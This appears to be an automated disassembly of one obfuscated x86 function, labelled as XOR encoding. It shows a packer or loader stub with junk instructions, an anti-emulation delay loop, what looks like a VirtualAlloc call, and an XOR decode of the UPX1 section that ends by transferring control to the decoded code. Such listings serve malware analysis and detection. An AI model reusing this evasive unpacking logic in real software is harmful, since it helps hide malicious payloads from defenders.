Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4a724456
mov edi, ebx
inc ebx
popal
dec edi
inc ebx
mov ecx, 0
mov eax, edx
not esi
sub edi, esi
inc edi
mov ebx, eax
add edi, 1
sub esi, edi
mov edx, ebx
not edi
inc esi
add edi, esi
add ecx, 1
mov esi, 0x45c2ba9d
and edi, edi
cmp ecx, 0x1006aaa
jne 0x47afc9
add edi, 0xc95a1df3
mov esi, edi
cmp ecx, 0x1006aaa
je 0x47b011
mov edx, 0
mov byte [edx], bl
mov esi, edi
mov edi, 0x72969db8
add esi, 0x4a188a77
not ebx
add ebx, 0xa36be138
mov edi, 0x47ada2
inc eax
add ecx, 1
mov ebx, 0x47af96
sub edx, 0xac822c31
mov eax, edx
mov esi, dword [edi]
inc ecx
or eax, edx
and esi, 0xff
add edx, 0x992c1
dec ecx
dec eax
xor dword [ebx], esi
add eax, 0x8d54c651
and eax, edx
inc ebx
mov edx, 0xa28ca350
or ecx, ecx
or ecx, edx
add edi, 1
or eax, eax
mov eax, 0xe07519d0
cmp ebx, entry0
jl 0x47b03f
and ecx, ecx
mov eax, 0xaae0be55
add ecx, ecx
sub ecx, 0xec2068db
dec ecx
add edi, 0x6cf4a0c4
not ebx
mov edi, esi
mov edx, 0x47af9a
add ebx, 0x2b5b8175
mov edi, 0x7d85e691
inc edi
mov edx, dword [edx]
add esi, 0x4f44d709
add edi, 0x22e614a7
add ebx, 1
mov edx, dword [edx]
add ecx, 0x166e4f3a
add ecx, ebx
sub esp, 4
mov dword [esp], edx
mov edi, 0x4342b113
dec esi
mov edx, 0x47af96
sub edi, ebx
add ebx, ebx
mov edx, dword [edx]
and ecx, ecx
dec esi
mov edx, dword [edx]
inc esi
sub ecx, ebx
add edi, 0x5aeefa6c
push 0x47af9e
inc ebx
add edi, 0xa99889dd
mov edi, ecx
call edx
add ebx, 1
sub esi, 0x4ef286cc
mov ebx, esi
pop edx
add esi, ebx
not ebx
dec ecx
push 0x47afab
inc ecx
add ebx, esi
push eax
and esi, esi
sub ecx, ebx
sub ecx, 0x5d38a4ff
call edx
add ebx, 1
mov ecx, 0x75a04ff0
and ecx, esi
sub esp, 4
mov dword [esp], 0x40
or esi, edi
add ecx, 0x5f302626
sub ecx, 0x5008205a
push 0x3000
add ebx, 0x51729e55
and esi, edi
sub edi, 0xde0e0579
push 0x2000093f
add edi, 1
sub esi, 0x5cba1f98
push 0
add esi, 1
dec esi
call eax
sub edi, 1
mov esi, ebx
mov ebx, esi
add eax, 0x200008c6
mov ebx, 0xed6bd24b
add ebx, 0x69ecdd05
mov edx, 0xddf7abcc
and esi, esi
inc edi
mov dword [eax], edx
dec ecx
add ebx, edi
add ebx, ecx
mov edx, dword [eax]
dec ebx
and edi, ebx
cmp edx, 0xddf7abcc
je 0x47b1bb
mov edx, 0
mov byte [edx], cl
not ecx
sub ecx, 0xc9260c8
mov ebx, 0xba678095
add ecx, 0xe871e9a6
dec ebx
sub ebx, 0xc4ed7d3f
add edi, edi
inc ebx
mov edx, section.UPX1
add ebx, 0x57dfb0d2
not edi
mov ecx, 0x47ada1
sub ebx, 1
sub ebx, 1
mov esi, 0
or ebx, edi
mov ebx, 0x8593f0a0
or edi, ebx
mov eax, 0x47ada2
mov ebx, edi
sub ebx, edi
sub edi, ebx
lea eax, [esi + eax]
add ebx, ebx
add edi, 0xf126d73a
mov eax, dword [eax]
mov edi, 0x7a948b01
or edi, edi
add ebx, ebx
and eax, 0xff
not ebx
mov ebx, 0x6e0291be
add edi, edi
inc esi
add ebx, 0xacf111cc
mov ebx, edi
cmp esi, 0x1f4
jne 0x47b24a
mov esi, 0
and edi, ebx
sub edi, 0x51be36be
mov edi, ebx
inc edi
sub edi, ebx
xor dword [edx], eax
and ebx, edi
and edi, ebx
add edi, ebx
add edx, 2
sub edi, ebx
sub ebx, 0xb0185a0f
cmp edx, ecx
jl 0x47b204
add edi, 0x1393e971
or edi, edi
add edi, edi
mov edi, ebx
inc ebx
mov esi, section.UPX1
add ecx, edi
add edi, edi
mov ebx, section.UPX1
dec ecx
mov edi, 0xe0a9d88
sub edi, 0xfd20c8e1
mov eax, 0x47ada1
mov edi, 0xf7cf5be0
and ecx, edi
mov edx, 0
dec edi
dec ecx
mov dl, byte [ebx]
add ecx, 0xc096412
add edi, 0xbe3c9d80
mov byte [esi], dl
mov edi, ecx
mov edi, ecx
add ecx, 0x3a4fe0ab
add esi, 1
sub edi, ecx
not edi
add ebx, 2
inc ecx
dec edi
or edi, edi
cmp ebx, eax
jle 0x47b2af
sub ecx, edi
sub edi, ecx
sub ecx, edi
and edi, ebx
dec edi
sub esp, 4
mov dword [esp], 0x45e6a0
not edi
add edi, 0xb608372d
or edi, ebx
ret